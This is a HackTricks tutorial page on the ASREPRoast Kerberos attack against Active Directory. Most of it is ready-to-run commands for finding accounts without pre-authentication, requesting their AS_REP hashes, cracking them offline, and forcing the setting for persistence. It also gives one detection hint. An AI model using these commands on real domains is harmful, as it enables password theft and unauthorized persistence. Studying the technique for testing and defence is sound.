6.4 KiB
ASREPRoast
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights
Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates
Join us on Discord and start collaborating with top hackers today!
ASREPRoast
The ASREPRoast attack looks for users without Kerberos pre-authentication required attribute (DONT_REQ_PREAUTH).
That means that anyone can send an AS_REQ request to the DC on behalf of any of those users, and receive an AS_REP message. This last kind of message contains a chunk of data encrypted with the original user key, derived from its password. Then, by using this message, the user password could be cracked offline.
Furthermore, no domain account is needed to perform this attack, only connection to the DC. However, with a domain account, a LDAP query can be used to retrieve users without Kerberos pre-authentication in the domain. Otherwise usernames have to be guessed.
Enumerating vulnerable users (need domain credentials)
{% code title="Using Windows" %}
Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView
{% endcode %}
{% code title="Using Linux" %}
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName
{% endcode %}
Request AS_REP message
{% code title="Using Linux" %}
#Try all the usernames in usernames.txt
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
#Use domain creds to extract targets and target them
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
{% endcode %}
{% code title="Using Windows" %}
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast [/user:username]
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)
{% endcode %}
{% hint style="warning" %} AS-REP Roasting with Rubeus will generate a 4768 with an encryption type of 0x17 and preauth type of 0. {% endhint %}
Cracking
john --wordlist=passwords_kerb.txt hashes.asreproast
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
Persistence
Force preauth not required for a user where you have GenericAll permissions (or permissions to write properties):
{% code title="Using Windows" %}
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose
{% endcode %}
{% code title="Using Linux" %}
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add uac -f DONT_REQ_PREAUTH
{% endcode %}
References
More information about AS-RRP Roasting in ired.team
Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights
Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates
Join us on Discord and start collaborating with top hackers today!
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.